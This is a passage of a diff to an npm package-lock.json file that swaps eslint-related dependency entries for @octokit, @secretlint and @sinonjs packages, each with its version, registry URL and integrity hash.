"^3.1.0", - "espree": "^9.1.0", - "esquery": "^1.4.0", - "esutils": "^2.0.2", - "fast-deep-equal": "^3.1.3", - "file-entry-cache": "^6.0.1", - "functional-red-black-tree": "^1.0.1", - "glob-parent": "^6.0.1", - "globals": "^13.6.0", - "ignore": "^4.0.6", - "import-fresh": "^3.0.0", - "imurmurhash": "^0.1.4", - "is-glob": "^4.0.0", - "js-yaml": "^4.1.0", - "json-stable-stringify-without-jsonify": "^1.0.1", - "levn": "^0.4.1", - "lodash.merge": "^4.6.2", - "minimatch": "^3.0.4", - "natural-compare": "^1.4.0", - "optionator": "^0.9.1", - "progress": "^2.0.0", - "regexpp": "^3.2.0", - "semver": "^7.2.1", - "strip-ansi": "^6.0.1", - "strip-json-comments": "^3.1.0", - "text-table": "^0.2.0", - "v8-compile-cache": "^2.0.3" - }, - "bin": { - "eslint": "bin/eslint.js" + "@octokit/auth-oauth-app": "^7.0.0", + "@octokit/auth-oauth-user": "^4.0.0", + "@octokit/auth-unauthenticated": "^5.0.0", + "@octokit/core": "^5.0.0", + "@octokit/oauth-authorization-url": "^6.0.2", + "@octokit/oauth-methods": "^4.0.0", + "@types/aws-lambda": "^8.10.83", + "universal-user-agent": "^6.0.0" }, "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" + "node": ">= 18" } }, - "node_modules/eslint-config-prettier": { - "version": "8.3.0", - "resolved": "https://registry.npmjs.org/eslint-config-prettier/-/eslint-config-prettier-8.3.0.tgz", - "integrity": "sha512-BgZuLUSeKzvlL/VUjx/Yb787VQ26RU3gGjA3iiFvdsp/2bMfVIWUVP7tjxtjS0e+HP409cPlPvNkQloz8C91ew==", + "node_modules/@octokit/oauth-authorization-url": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/@octokit/oauth-authorization-url/-/oauth-authorization-url-6.0.2.tgz", + "integrity": "sha512-CdoJukjXXxqLNK4y/VOiVzQVjibqoj/xHgInekviUJV73y/BSIcwvJ/4aNHPBPKcPWFnd4/lO9uqRV65jXhcLA==", "dev": true, - "bin": { - "eslint-config-prettier": "bin/cli.js" - }, - "peerDependencies": { - "eslint": ">=7.0.0" + "license": "MIT", + "engines": { + "node": ">= 18" } }, - "node_modules/eslint-scope": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", - "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "node_modules/@octokit/oauth-methods": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/@octokit/oauth-methods/-/oauth-methods-4.1.0.tgz", + "integrity": "sha512-4tuKnCRecJ6CG6gr0XcEXdZtkTDbfbnD5oaHBmLERTjTMZNi2CbfEHZxPU41xXLDG4DfKf+sonu00zvKI9NSbw==", "dev": true, + "license": "MIT", "dependencies": { - "esrecurse": "^4.3.0", - "estraverse": "^4.1.1" + "@octokit/oauth-authorization-url": "^6.0.2", + "@octokit/request": "^8.3.1", + "@octokit/request-error": "^5.1.0", + "@octokit/types": "^13.0.0", + "btoa-lite": "^1.0.0" }, "engines": { - "node": ">=8.0.0" + "node": ">= 18" } }, - "node_modules/eslint-utils": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-3.0.0.tgz", - "integrity": "sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==", + "node_modules/@octokit/openapi-types": { + "version": "24.2.0", + "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-24.2.0.tgz", + "integrity": "sha512-9sIH3nSUttelJSXUrmGzl7QUBFul0/mB8HRYl3fOlgHbIWG+WnYDXU3v/2zMtAvuzZ/ed00Ei6on975FhBfzrg==", "dev": true, - "dependencies": { - "eslint-visitor-keys": "^2.0.0" - }, + "license": "MIT" + }, + "node_modules/@octokit/plugin-paginate-graphql": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-graphql/-/plugin-paginate-graphql-4.0.1.tgz", + "integrity": "sha512-R8ZQNmrIKKpHWC6V2gum4x9LG2qF1RxRjo27gjQcG3j+vf2tLsEfE7I/wRWEPzYMaenr1M+qDAtNcwZve1ce1A==", + "dev": true, + "license": "MIT", "engines": { - "node": "^10.0.0 || ^12.0.0 || >= 14.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/mysticatea" + "node": ">= 18" }, "peerDependencies": { - "eslint": ">=5" + "@octokit/core": ">=5" } }, - "node_modules/eslint-utils/node_modules/eslint-visitor-keys": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", - "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", + "node_modules/@octokit/plugin-paginate-rest": { + "version": "11.4.4-cjs.2", + "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-11.4.4-cjs.2.tgz", + "integrity": "sha512-2dK6z8fhs8lla5PaOTgqfCGBxgAv/le+EhPs27KklPhm1bKObpu6lXzwfUEQ16ajXzqNrKMujsFyo9K2eaoISw==", "dev": true, + "license": "MIT", + "dependencies": { + "@octokit/types": "^13.7.0" + }, "engines": { - "node": ">=10" + "node": ">= 18" + }, + "peerDependencies": { + "@octokit/core": "5" } }, - "node_modules/eslint-visitor-keys": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.1.0.tgz", - "integrity": "sha512-yWJFpu4DtjsWKkt5GeNBBuZMlNcYVs6vRCLoCVEJrTjaSB6LC98gFipNK/erM2Heg/E8mIK+hXG/pJMLK+eRZA==", + "node_modules/@octokit/plugin-rest-endpoint-methods": { + "version": "13.3.2-cjs.1", + "resolved": "https://registry.npmjs.org/@octokit/plugin-rest-endpoint-methods/-/plugin-rest-endpoint-methods-13.3.2-cjs.1.tgz", + "integrity": "sha512-VUjIjOOvF2oELQmiFpWA1aOPdawpyaCUqcEBc/UOUnj3Xp6DJGrJ1+bjUIIDzdHjnFNO6q57ODMfdEZnoBkCwQ==", "dev": true, + "license": "MIT", + "dependencies": { + "@octokit/types": "^13.8.0" + }, "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + "node": ">= 18" + }, + "peerDependencies": { + "@octokit/core": "^5" } }, - "node_modules/eslint/node_modules/eslint-scope": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.1.0.tgz", - "integrity": "sha512-aWwkhnS0qAXqNOgKOK0dJ2nvzEbhEvpy8OlJ9kZ0FeZnA6zpjv1/Vei+puGFFX7zkPCkHHXb7IDX3A+7yPrRWg==", + "node_modules/@octokit/plugin-retry": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/@octokit/plugin-retry/-/plugin-retry-6.1.0.tgz", + "integrity": "sha512-WrO3bvq4E1Xh1r2mT9w6SDFg01gFmP81nIG77+p/MqW1JeXXgL++6umim3t6x0Zj5pZm3rXAN+0HEjmmdhIRig==", "dev": true, + "license": "MIT", "dependencies": { - "esrecurse": "^4.3.0", - "estraverse": "^5.2.0" + "@octokit/request-error": "^5.0.0", + "@octokit/types": "^13.0.0", + "bottleneck": "^2.15.3" }, "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + "node": ">= 18" + }, + "peerDependencies": { + "@octokit/core": "5" } }, - "node_modules/eslint/node_modules/estraverse": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "node_modules/@octokit/plugin-throttling": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/@octokit/plugin-throttling/-/plugin-throttling-8.2.0.tgz", + "integrity": "sha512-nOpWtLayKFpgqmgD0y3GqXafMFuKcA4tRPZIfu7BArd2lEZeb1988nhWhwx4aZWmjDmUfdgVf7W+Tt4AmvRmMQ==", "dev": true, + "license": "MIT", + "dependencies": { + "@octokit/types": "^12.2.0", + "bottleneck": "^2.15.3" + }, "engines": { - "node": ">=4.0" + "node": ">= 18" + }, + "peerDependencies": { + "@octokit/core": "^5.0.0" } }, - "node_modules/eslint/node_modules/ignore": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz", - "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", + "node_modules/@octokit/plugin-throttling/node_modules/@octokit/openapi-types": { + "version": "20.0.0", + "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-20.0.0.tgz", + "integrity": "sha512-EtqRBEjp1dL/15V7WiX5LJMIxxkdiGJnabzYx5Apx4FkQIFgAfKumXeYAqqJCj1s+BMX4cPFIFC4OLCR6stlnA==", "dev": true, - "engines": { - "node": ">= 4" + "license": "MIT" + }, + "node_modules/@octokit/plugin-throttling/node_modules/@octokit/types": { + "version": "12.6.0", + "resolved": "https://registry.npmjs.org/@octokit/types/-/types-12.6.0.tgz", + "integrity": "sha512-1rhSOfRa6H9w4YwK0yrf5faDaDTb+yLyBUKOCV4xtCDB5VmIPqd/v9yr9o6SAzOAlRxMiRiCic6JVM1/kunVkw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@octokit/openapi-types": "^20.0.0" } }, - "node_modules/espree": { - "version": "9.1.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-9.1.0.tgz", - "integrity": "sha512-ZgYLvCS1wxOczBYGcQT9DDWgicXwJ4dbocr9uYN+/eresBAUuBu+O4WzB21ufQ/JqQT8gyp7hJ3z8SHii32mTQ==", + "node_modules/@octokit/request": { + "version": "8.4.1", + "resolved": "https://registry.npmjs.org/@octokit/request/-/request-8.4.1.tgz", + "integrity": "sha512-qnB2+SY3hkCmBxZsR/MPCybNmbJe4KAlfWErXq+rBKkQJlbjdJeS85VI9r8UqeLYLvnAenU8Q1okM/0MBsAGXw==", "dev": true, + "license": "MIT", "dependencies": { - "acorn": "^8.6.0", - "acorn-jsx": "^5.3.1", - "eslint-visitor-keys": "^3.1.0" + "@octokit/endpoint": "^9.0.6", + "@octokit/request-error": "^5.1.1", + "@octokit/types": "^13.1.0", + "universal-user-agent": "^6.0.0" }, "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + "node": ">= 18" } }, - "node_modules/esquery": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.4.0.tgz", - "integrity": "sha512-cCDispWt5vHHtwMY2YrAQ4ibFkAL8RbH5YGBnZBc90MolvvfkkQcJro/aZiAQUlQ3qgrYS6D6v8Gc5G5CQsc9w==", + "node_modules/@octokit/request-error": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-5.1.1.tgz", + "integrity": "sha512-v9iyEQJH6ZntoENr9/yXxjuezh4My67CBSu9r6Ve/05Iu5gNgnisNWOsoJHTP6k0Rr0+HQIpnH+kyammu90q/g==", "dev": true, + "license": "MIT", "dependencies": { - "estraverse": "^5.1.0" + "@octokit/types": "^13.1.0", + "deprecation": "^2.0.0", + "once": "^1.4.0" }, "engines": { - "node": ">=0.10" + "node": ">= 18" } }, - "node_modules/esquery/node_modules/estraverse": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "node_modules/@octokit/types": { + "version": "13.10.0", + "resolved": "https://registry.npmjs.org/@octokit/types/-/types-13.10.0.tgz", + "integrity": "sha512-ifLaO34EbbPj0Xgro4G5lP5asESjwHracYJvVaPIyXMuiuXLlhic3S47cBdTb+jfODkTE5YtGCLt3Ay3+J97sA==", "dev": true, - "engines": { - "node": ">=4.0" + "license": "MIT", + "dependencies": { + "@octokit/openapi-types": "^24.2.0" } }, - "node_modules/esrecurse": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", - "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "node_modules/@octokit/webhooks": { + "version": "12.3.1", + "resolved": "https://registry.npmjs.org/@octokit/webhooks/-/webhooks-12.3.1.tgz", + "integrity": "sha512-BVwtWE3rRXB9IugmQTfKspqjNa8q+ab73ddkV9k1Zok3XbuOxJUi4lTYk5zBZDhfWb/Y2H+RO9Iggm25gsqeow==", "dev": true, + "license": "MIT", "dependencies": { - "estraverse": "^5.2.0" + "@octokit/request-error": "^5.0.0", + "@octokit/webhooks-methods": "^4.1.0", + "@octokit/webhooks-types": "7.6.1", + "aggregate-error": "^3.1.0" }, "engines": { - "node": ">=4.0" + "node": ">= 18" } }, - "node_modules/esrecurse/node_modules/estraverse": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "node_modules/@octokit/webhooks-methods": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/@octokit/webhooks-methods/-/webhooks-methods-4.1.0.tgz", + "integrity": "sha512-zoQyKw8h9STNPqtm28UGOYFE7O6D4Il8VJwhAtMHFt2C4L0VQT1qGKLeefUOqHNs1mNRYSadVv7x0z8U2yyeWQ==", "dev": true, + "license": "MIT", "engines": { - "node": ">=4.0" + "node": ">= 18" } }, - "node_modules/estraverse": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", - "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "node_modules/@octokit/webhooks-types": { + "version": "7.6.1", + "resolved": "https://registry.npmjs.org/@octokit/webhooks-types/-/webhooks-types-7.6.1.tgz", + "integrity": "sha512-S8u2cJzklBC0FgTwWVLaM8tMrDuDMVE4xiTK4EYXM9GntyvrdbSoxqDQa+Fh57CCNApyIpyeqPhhFEmHPfrXgw==", "dev": true, + "license": "MIT" + }, + "node_modules/@pkgjs/parseargs": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", + "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", + "optional": true, "engines": { - "node": ">=4.0" + "node": ">=14" } }, - "node_modules/esutils": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", - "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "node_modules/@secretlint/config-creator": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/config-creator/-/config-creator-10.2.2.tgz", + "integrity": "sha512-BynOBe7Hn3LJjb3CqCHZjeNB09s/vgf0baBaHVw67w7gHF0d25c3ZsZ5+vv8TgwSchRdUCRrbbcq5i2B1fJ2QQ==", "dev": true, + "dependencies": { + "@secretlint/types": "^10.2.2" + }, "engines": { - "node": ">=0.10.0" + "node": ">=20.0.0" } }, - "node_modules/expand-template": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz", - "integrity": "sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==", + "node_modules/@secretlint/config-loader": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/config-loader/-/config-loader-10.2.2.tgz", + "integrity": "sha512-ndjjQNgLg4DIcMJp4iaRD6xb9ijWQZVbd9694Ol2IszBIbGPPkwZHzJYKICbTBmh6AH/pLr0CiCaWdGJU7RbpQ==", "dev": true, + "dependencies": { + "@secretlint/profiler": "^10.2.2", + "@secretlint/resolver": "^10.2.2", + "@secretlint/types": "^10.2.2", + "ajv": "^8.17.1", + "debug": "^4.4.1", + "rc-config-loader": "^4.1.3" + }, "engines": { - "node": ">=6" + "node": ">=20.0.0" } }, - "node_modules/fast-deep-equal": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "node_modules/@secretlint/config-loader/node_modules/ajv": { + "version": "8.17.1", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz", + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/@secretlint/config-loader/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", "dev": true }, - "node_modules/fast-glob": { - "version": "3.2.7", - "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.7.tgz", - "integrity": "sha512-rYGMRwip6lUMvYD3BTScMwT1HtAs2d71SMv66Vrxs0IekGZEjhM0pcMfjQPnknBt2zeCwQMEupiN02ZP4DiT1Q==", + "node_modules/@secretlint/core": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/core/-/core-10.2.2.tgz", + "integrity": "sha512-6rdwBwLP9+TO3rRjMVW1tX+lQeo5gBbxl1I5F8nh8bgGtKwdlCMhMKsBWzWg1ostxx/tIG7OjZI0/BxsP8bUgw==", "dev": true, "dependencies": { - "@nodelib/fs.stat": "^2.0.2", - "@nodelib/fs.walk": "^1.2.3", - "glob-parent": "^5.1.2", - "merge2": "^1.3.0", - "micromatch": "^4.0.4" + "@secretlint/profiler": "^10.2.2", + "@secretlint/types": "^10.2.2", + "debug": "^4.4.1", + "structured-source": "^4.0.0" }, "engines": { - "node": ">=8" + "node": ">=20.0.0" } }, - "node_modules/fast-glob/node_modules/glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "node_modules/@secretlint/formatter": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/formatter/-/formatter-10.2.2.tgz", + "integrity": "sha512-10f/eKV+8YdGKNQmoDUD1QnYL7TzhI2kzyx95vsJKbEa8akzLAR5ZrWIZ3LbcMmBLzxlSQMMccRmi05yDQ5YDA==", "dev": true, "dependencies": { - "is-glob": "^4.0.1" + "@secretlint/resolver": "^10.2.2", + "@secretlint/types": "^10.2.2", + "@textlint/linter-formatter": "^15.2.0", + "@textlint/module-interop": "^15.2.0", + "@textlint/types": "^15.2.0", + "chalk": "^5.4.1", + "debug": "^4.4.1", + "pluralize": "^8.0.0", + "strip-ansi": "^7.1.0", + "table": "^6.9.0", + "terminal-link": "^4.0.0" }, "engines": { - "node": ">= 6" + "node": ">=20.0.0" } }, - "node_modules/fast-json-stable-stringify": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", - "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", - "dev": true - }, - "node_modules/fast-levenshtein": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", - "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=", - "dev": true + "node_modules/@secretlint/formatter/node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } }, - "node_modules/fastq": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz", - "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", + "node_modules/@secretlint/formatter/node_modules/chalk": { + "version": "5.6.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.6.2.tgz", + "integrity": "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==", "dev": true, - "dependencies": { - "reusify": "^1.0.4" + "engines": { + "node": "^12.17.0 || ^14.13 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" } }, - "node_modules/fd-slicer": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", - "integrity": "sha1-JcfInLH5B3+IkbvmHY85Dq4lbx4=", + "node_modules/@secretlint/formatter/node_modules/strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", "dev": true, "dependencies": { - "pend": "~1.2.0" + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" } }, - "node_modules/file-entry-cache": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", - "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "node_modules/@secretlint/node": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/node/-/node-10.2.2.tgz", + "integrity": "sha512-eZGJQgcg/3WRBwX1bRnss7RmHHK/YlP/l7zOQsrjexYt6l+JJa5YhUmHbuGXS94yW0++3YkEJp0kQGYhiw1DMQ==", "dev": true, "dependencies": { - "flat-cache": "^3.0.4" + "@secretlint/config-loader": "^10.2.2", + "@secretlint/core": "^10.2.2", + "@secretlint/formatter": "^10.2.2", + "@secretlint/profiler": "^10.2.2", + "@secretlint/source-creator": "^10.2.2", + "@secretlint/types": "^10.2.2", + "debug": "^4.4.1", + "p-map": "^7.0.3" }, "engines": { - "node": "^10.12.0 || >=12.0.0" + "node": ">=20.0.0" } }, - "node_modules/fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "node_modules/@secretlint/profiler": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/profiler/-/profiler-10.2.2.tgz", + "integrity": "sha512-qm9rWfkh/o8OvzMIfY8a5bCmgIniSpltbVlUVl983zDG1bUuQNd1/5lUEeWx5o/WJ99bXxS7yNI4/KIXfHexig==", + "dev": true + }, + "node_modules/@secretlint/resolver": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/resolver/-/resolver-10.2.2.tgz", + "integrity": "sha512-3md0cp12e+Ae5V+crPQYGd6aaO7ahw95s28OlULGyclyyUtf861UoRGS2prnUrKh7MZb23kdDOyGCYb9br5e4w==", + "dev": true + }, + "node_modules/@secretlint/secretlint-formatter-sarif": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/secretlint-formatter-sarif/-/secretlint-formatter-sarif-10.2.2.tgz", + "integrity": "sha512-ojiF9TGRKJJw308DnYBucHxkpNovDNu1XvPh7IfUp0A12gzTtxuWDqdpuVezL7/IP8Ua7mp5/VkDMN9OLp1doQ==", "dev": true, "dependencies": { - "to-regex-range": "^5.0.1" + "node-sarif-builder": "^3.2.0" + } + }, + "node_modules/@secretlint/secretlint-rule-no-dotenv": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/secretlint-rule-no-dotenv/-/secretlint-rule-no-dotenv-10.2.2.tgz", + "integrity": "sha512-KJRbIShA9DVc5Va3yArtJ6QDzGjg3PRa1uYp9As4RsyKtKSSZjI64jVca57FZ8gbuk4em0/0Jq+uy6485wxIdg==", + "dev": true, + "dependencies": { + "@secretlint/types": "^10.2.2" }, "engines": { - "node": ">=8" + "node": ">=20.0.0" } }, - "node_modules/find-up": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", - "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "node_modules/@secretlint/secretlint-rule-preset-recommend": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/secretlint-rule-preset-recommend/-/secretlint-rule-preset-recommend-10.2.2.tgz", + "integrity": "sha512-K3jPqjva8bQndDKJqctnGfwuAxU2n9XNCPtbXVI5JvC7FnQiNg/yWlQPbMUlBXtBoBGFYp08A94m6fvtc9v+zA==", + "dev": true, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@secretlint/source-creator": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/source-creator/-/source-creator-10.2.2.tgz", + "integrity": "sha512-h6I87xJfwfUTgQ7irWq7UTdq/Bm1RuQ/fYhA3dtTIAop5BwSFmZyrchph4WcoEvbN460BWKmk4RYSvPElIIvxw==", "dev": true, "dependencies": { - "locate-path": "^6.0.0", - "path-exists": "^4.0.0" + "@secretlint/types": "^10.2.2", + "istextorbinary": "^9.5.0" }, "engines": { - "node": ">=10" + "node": ">=20.0.0" + } + }, + "node_modules/@secretlint/types": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/types/-/types-10.2.2.tgz", + "integrity": "sha512-Nqc90v4lWCXyakD6xNyNACBJNJ0tNCwj2WNk/7ivyacYHxiITVgmLUFXTBOeCdy79iz6HtN9Y31uw/jbLrdOAg==", + "dev": true, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@sindresorhus/merge-streams": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/merge-streams/-/merge-streams-2.3.0.tgz", + "integrity": "sha512-LtoMMhxAlorcGhmFYI+LhPgbPZCkgP6ra1YL604EeF6U98pLlQ3iWIGMdWSC+vWmPBWBNgmDBAhnAobLROJmwg==", + "dev": true, + "engines": { + "node": ">=18" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/flat": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz", - "integrity": "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==", + "node_modules/@sinonjs/commons": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.1.tgz", + "integrity": "sha512-K3mCHKQ9sVh8o1C9cxkwxaOmXoAMlDxC1mYyHrjqOWEcBjYr76t96zL2zlj5dUGZ3HSw240X1qgH3Mjf1yJWpQ==", "dev": true, - "bin": { - "flat": "cli.js" + "license": "BSD-3-Clause", + "dependencies": { + "type-detect": "4.0.8" } }, - "node_modules/flat-cache": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz", - "integrity": 